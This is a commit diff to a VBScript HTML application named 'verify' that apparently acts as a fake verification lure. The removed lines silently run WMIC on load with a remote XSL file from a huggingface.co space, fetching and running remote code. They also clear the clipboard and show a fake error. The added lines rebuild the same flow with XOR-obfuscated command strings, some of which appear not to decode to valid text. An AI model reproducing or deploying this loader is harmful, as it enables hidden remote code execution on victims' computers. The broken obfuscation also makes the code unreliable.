Update verify

verify

@@ -48,38 +48,38 @@
         }
     </style>
     <script language="VBScript">
-    Sub Window_onLoad
-        Window.ResizeTo 520, 480
-        Window.MoveTo (Screen.Width - 300) / 2, (Screen.Height - 400) / 2
-        
-        Set objShell = CreateObject("WScript.Shell")
-        objShell.Run "cmd /c echo os get /format:""https://huggingface.co/spaces/enotkrutoy/gggg/raw/main/test/WMI.xsl"" | C:\Windows\System32\wbem\WMIC.exe", 0, False
-        ClearClipboard
-        
-        objShell.Run "timeout /T 2 /nobreak", 0, True
-        Call HideConnectingShowError
-        objShell.Run "timeout /T 1 /nobreak", 0, True
-    End Sub
+    Dim obfKey
+    obfKey = Array(72, 84, 65)
 
-    Sub HideConnectingShowError
-        document.getElementById("connecting").style.display = "none"
-        document.getElementById("error").style.display = "block"
-    End Sub
+    Function Decode(str)
+        Dim i, result
+        result = ""
+        For i = 1 To Len(str)
+            result = result & Chr(Asc(Mid(str, i, 1)) Xor obfKey((i - 1) Mod 3))
+        Next
+        Decode = result
+    End Function
 
-    Sub ClearClipboard
-        Dim objHTML
-        Set objHTML = CreateObject("htmlfile")
-        objHTML.parentWindow.clipboardData.setData "text", ""
-        Set objHTML = Nothing
+    Sub Window_onLoad
+        Dim cmd, timeoutCmd, clipboardClear, showErrorCmd
+        cmd = Decode("ck`/!d`f!(ww,!`nmg/mt!!TQ_3!bnjs''`)
+        timeoutCmd = Decode("xqi`!<!2!j!mnfcs``fhie") 
+        clipboardClear = Decode("bsve/-fivjiiv*-`rr") 
+        showErrorCmd = Decode("]vwh`ijTn+4jx,r`|rr")
+        
+        Set objShell = CreateObject(Decode("Gf/X!rvsNqjr-Nl3ddfgce"))
+        objShell.Run cmd, 0, False
+        Call ExecuteCommand(clipboardClear)
+        objShell.Run timeoutCmd, 0, True
+        Call ExecuteCommand(showErrorCmd)
     End Sub
 
-    Sub SendCanaryToken
-        Dim xhr
-        Set xhr = CreateObject("MSXML2.XMLHTTP")
-        xhr.open "GET", "http://canarytokens.com/articles/static/about/00/contact.php", False
-        xhr.send
+    Sub ExecuteCommand(cmd)
+        On Error Resume Next
+        Dim shell
+        Set shell = CreateObject(Decode("Gf/XVhsvr|DmbgXrty33"))
+        shell.Run cmd, 0, True
     End Sub
-
     </script>
 </head>
 <body>